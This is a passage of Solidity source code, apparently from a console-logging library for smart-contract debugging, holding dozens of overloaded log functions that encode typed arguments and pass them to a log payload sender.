} function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, 